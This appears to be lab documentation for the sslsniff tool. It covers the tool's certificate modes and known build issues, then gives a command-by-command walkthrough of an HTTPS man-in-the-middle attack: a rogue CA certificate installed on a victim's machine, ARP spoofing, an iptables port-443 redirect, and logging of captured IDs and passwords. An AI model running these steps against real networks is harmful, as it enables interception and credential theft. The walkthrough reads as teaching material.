SSLSniff Documentation

Daniel Choi, Sumin Kim

Usages for SSLSniff

1. Authority Mode: SSLSniff signs certificates dynamically using the passed in certificate
   a. Using the Certificate Passed in as a Certificate Authority
      i. We need an Actual CA Certificate for browsers before 2012
      ii. We can make a CA, and install it in the browser.
      iii. We're assuming we have an actual CA certificate
      iv. "*In this mode, sslsniff acts as if it is a CA which dynamically generates certificates on the fly. If you were, for instance, able to obtain a CA certificate somehow, you could run it in this mode and it would dynamically create and sign new certificates for whatever site you're trying to connect to.*"
   b. Using a Leaf Node Certificate as a Certificate Authority
      i. We need a Browser that didn't implement basic constraints, probably a browser before 2002
      ii. "*This mode is also useful for exploiting implementations that do not properly verify BasicConstraints, as any valid leaf node certificate could be used instead of a CA cert.*"
2. Targeted Mode: SSL Sniff is given a directory, and uses certificates based on request
   a. Able to get valid certificates from CA using the null character subdomain trick
      i. Most likely browsers before 2012….
      ii. "*In this mode, sslsniff is given a directory full of certificates, which it uses for targeted MITM attacks against the hosts those certificates are signed for. This mode is useful if you are able to forge specific certificates, or if you have certificates that were obtained for the "null prefix" vulnerability that I published.*"

Current Issues

1. SSLSniff.tar (https://moxie.org/software/sslsniff/) doesn't compile properly when using the "./configure" and "make".
   a. Most likely a change in the dependencies since
   b. Possible Fix: Get Older versions of the dependencies(?)
2. Using SSLSniff available in the repositories (sudo apt install sslsniff)
   a. Targeted mode seems to get Segmentation Fault

How-To

Usage 1-a: Case where we have a CA Certificate

1. Since we cannot actually get a CA Certificate, we will make our own certificate authority and consider it to be an actual certificate authority. For demonstration, let’s just name it to be “Verisign2” for now.

    1.1. Create your Private Key

    ```
    openssl genrsa -out verisign2.key 2048
    ```

    1.2. Create a CSR (Certificate Signing Request)

    ```
    openssl req -new -key verisign2.key -out versign2.csr
    ```

    Make sure to type in “verisign2” in the Common Name section

    1.3. Sign your certificate

    ```
    openssl x509 -req -days 365 -in verisign2.csr -signkey verisign2.key -out versign2.crt
    ```

    1.4. Combine your certificate and key into a pem file

    ```
    cat verisign2.key verisign2.crt > versign2.pem
    ```

2. Since we’re assuming verisign2 is a valid certificate authority, we need to install it into the victim’s computer

    2.1. Transfer the created certificate files via email/drive on the victim’s system

    2.2. Open Internet Explorer, Tools - Internet Options - Contents - Certificates

    2.3. Go to the “Trusted Root Certification Authorities” tab.

    2.4. Import - Next - Browser for your crt File - Next - Next - Finish

        2.4.1. Browse to find your .crt file

    2.5. Check that “The Import was Successful” Message pops up.

3. Now, all we need to do is do the attack.

    3.1. Enable ip forwarding

    ```
    echo '1' > /proc/sys/net/ipv4/ip_forward
    ```

    3.2. Flush iptables - remove previous setups

    ```
    sudo iptables -F
    ```

    3.3. Setup iptables - reroute port 443 (https requests) to an arbitrary port (i.e. 9000)

    ```
    sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT -- to-ports [listen port]
    ```

    3.4. Open two new terminals and arpspoof both ways Victim’s IP Address & Gateway

    sudo arpspoof –t [IP] [Gateway]

    sudo arpspoof -t [Gateway] [IP] (optional)

    3.5. Run sslsniff:

    ```
    sudo sslsniff -a -s [listenport] -w log.txt -c [pem file]
    ```

    3.6. The ID and Passwords are logged in the log.txt file

    cat log.txt - shows entire log

    echo “” > log.txt - clears the log

    grep [keyword] log.txt - shows all the lines containing the keyword

    strings log.txt | grep [keyword] - Incase grep returns binary related error